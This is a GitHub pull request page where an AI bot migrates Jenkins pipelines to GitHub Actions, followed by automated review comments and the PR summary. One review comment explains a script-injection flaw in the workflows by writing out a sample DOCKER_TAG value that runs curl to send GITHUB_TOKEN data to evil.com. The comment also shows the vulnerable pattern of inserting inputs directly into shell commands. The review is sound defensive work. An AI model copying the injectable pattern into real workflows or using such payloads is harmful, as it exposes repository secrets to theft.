Migrate Jenkins CI/CD pipelines to GitHub Actions#97
Migrate Jenkins CI/CD pipelines to GitHub Actions#97devin-ai-integration[bot] wants to merge 2 commits intoDevOpsfrom
Conversation
Co-Authored-By: Angela Lin <angela.lin@cognition.ai>
🤖 Devin AI EngineerI'll be helping with this pull request! Here's what you should know: ✅ I will automatically:
Note: I can only respond to comments from users who have write access to this repository. ⚙️ Control Options:
|
…configured Co-Authored-By: Angela Lin <angela.lin@cognition.ai>
| with: | ||
| context: . | ||
| push: true | ||
| tags: ${{ secrets.DOCKERHUB_USERNAME }}/bankapp:${{ steps.set-tag.outputs.docker_tag }} |
There was a problem hiding this comment.
🔴 Docker image name mismatch between CI build and CD deployment
The CI pipeline builds and pushes the Docker image to ${{ secrets.DOCKERHUB_USERNAME }}/bankapp:<tag> (ci.yml:91), but the CD pipeline updates the Kubernetes manifest to reference trainwithshubham/bankapp-eks:<tag> (cd.yml:36). Even if DOCKERHUB_USERNAME is trainwithshubham, the image repository names differ: bankapp vs bankapp-eks. This means the K8s deployment will be updated to reference an image tag that was never pushed to the bankapp-eks repository, causing the deployment to pull a non-existent (or stale) image and likely fail with an ImagePullBackOff error.
Prompt for agents
The CI pipeline pushes the Docker image to the repository named 'bankapp' (ci.yml:91 uses secrets.DOCKERHUB_USERNAME/bankapp:tag), but the CD pipeline's sed command in cd.yml:36 updates the Kubernetes manifest to reference 'trainwithshubham/bankapp-eks:tag'. These are two different Docker image repositories. You need to make the image names consistent. Either change ci.yml line 91 to push to '<username>/bankapp-eks' to match what cd.yml expects, or change cd.yml line 36's sed replacement to use the same '<username>/bankapp' repository that CI pushes to. The Kubernetes deployment manifest (kubernetes/bankapp-deployment.yml:20) currently uses 'trainwithshubham/bankapp-eks:v2', so you would also need to update it if you change the repository name. Also consider using the DOCKERHUB_USERNAME secret in cd.yml instead of the hardcoded 'trainwithshubham' to keep it consistent with ci.yml.
Was this helpful? React with 👍 or 👎 to provide feedback.
| run: echo "DOCKER TAG RECEIVED - ${{ inputs.DOCKER_TAG }}" | ||
|
|
||
| - name: Update Kubernetes manifest | ||
| run: | | ||
| sed -i -e 's|trainwithshubham/bankapp-eks:.*|trainwithshubham/bankapp-eks:${{ inputs.DOCKER_TAG }}|g' kubernetes/bankapp-deployment.yml |
There was a problem hiding this comment.
🔴 Script injection vulnerability via unsanitized inputs.DOCKER_TAG in shell commands
Multiple run: steps directly interpolate ${{ inputs.DOCKER_TAG }} (and ${{ github.event.inputs.DOCKER_TAG }}) into shell commands. Since workflow_dispatch allows users to supply arbitrary string input for DOCKER_TAG, a malicious value like v1"; curl http://evil.com/steal?t=$(cat $GITHUB_TOKEN); echo " could execute arbitrary commands. This affects ci.yml:31-32, cd.yml:32, cd.yml:36, and cd.yml:47. The safe pattern is to assign the expression to an environment variable first and reference it as $DOCKER_TAG in the shell.
Example of safe pattern
env:
DOCKER_TAG: ${{ inputs.DOCKER_TAG }}
run: |
echo "DOCKER TAG RECEIVED - $DOCKER_TAG"Prompt for agents
In cd.yml, lines 32, 36, and 47 all directly interpolate ${{ inputs.DOCKER_TAG }} into shell run commands. This is a GitHub Actions script injection vulnerability because the DOCKER_TAG input can contain arbitrary characters when triggered via workflow_dispatch. The fix is to assign the input to an environment variable in each step (using env: DOCKER_TAG: ${{ inputs.DOCKER_TAG }}) and then reference it as $DOCKER_TAG in the shell script. The same issue exists in ci.yml lines 31-32 with ${{ github.event.inputs.DOCKER_TAG }}. All four occurrences across both files need to be fixed.
Was this helpful? React with 👍 or 👎 to provide feedback.
|
❌ Cannot revive Devin session - the session is too old. Please start a new session instead. |
Migrate Jenkins CI/CD pipelines to GitHub Actions
Summary
Adds two GitHub Actions workflow files that replicate the existing Jenkins CI and CD pipelines. The original Jenkins files (
Jenkinsfile,GitOps/Jenkinsfile,vars/*.groovy) are not modified or removed.CI workflow (
ci.yml) maps the 8-stage Jenkins pipeline:code_checkout())actions/checkout@v4trivy_scan())aquasecurity/trivy-action@masterowasp_dependency())dependency-check/Dependency-Check_Action@mainsonarqube_analysis())sonarsource/sonarqube-scan-action@v6sonarqube_code_quality())sonarsource/sonarqube-quality-gate-action@masterdocker_build())docker/build-push-action@v5docker_push())push: trueCD workflow (
cd.yml) maps the GitOps Jenkins pipeline: checkout → update K8s manifest viased→ commit & push → email notification. Chained from CI viaworkflow_call, also triggerable viaworkflow_dispatch.Graceful secret handling
SonarQube and Docker Hub steps are guarded with
if: ${{ secrets.SECRET != '' }}conditions so they skip gracefully when the corresponding secrets are not yet configured, rather than failing the entire workflow. This allows the pipeline to run partially (checkout, Trivy, OWASP) even before all secrets are set up.Required Secrets to Configure
DOCKERHUB_USERNAMEDOCKERHUB_TOKENSONAR_TOKENSONAR_HOST_URLMAIL_SERVERMAIL_PORTMAIL_USERNAMEMAIL_PASSWORDNOTIFICATION_EMAILReview & Testing Checklist for Human
buildjob (which includes Docker image push) runs onpull_requestevents. This means PR builds will attempt to push images to Docker Hub when secrets are configured. Confirm whether Docker build+push should be gated topush/dispatchevents only, or split into separate build-only and push steps.kubernetes/bankapp-deployment.ymlusingGITHUB_TOKEN. Verify that branch protection rules allowgithub-actions[bot]to push, or consider switching to a PAT / bot-branch + PR pattern.dawidd6/action-send-mail@v3) runs withif: always()but has no guard checking if mail secrets are configured. It will error ifMAIL_SERVER/MAIL_USERNAME/MAIL_PASSWORDare not set. Decide whether to add anifguard or accept the failure.continue-on-error: true): This matches the original JenkinsabortPipeline: falsebehavior. Confirm this is intentional—if you want the gate to block, removecontinue-on-error.sedcommand in CD usestrainwithshubham/bankapp-eksfrom the original pipeline. Verify this is the correct image reference for this fork.workflow_dispatchwith a testDOCKER_TAGvalue. Verify each step executes and the CD workflow updates the K8s manifest correctly.Notes
Link to Devin run: https://app.devin.ai/sessions/cf8756bc6d934ddaad02be9952d78c16
Requested by: @angelalincog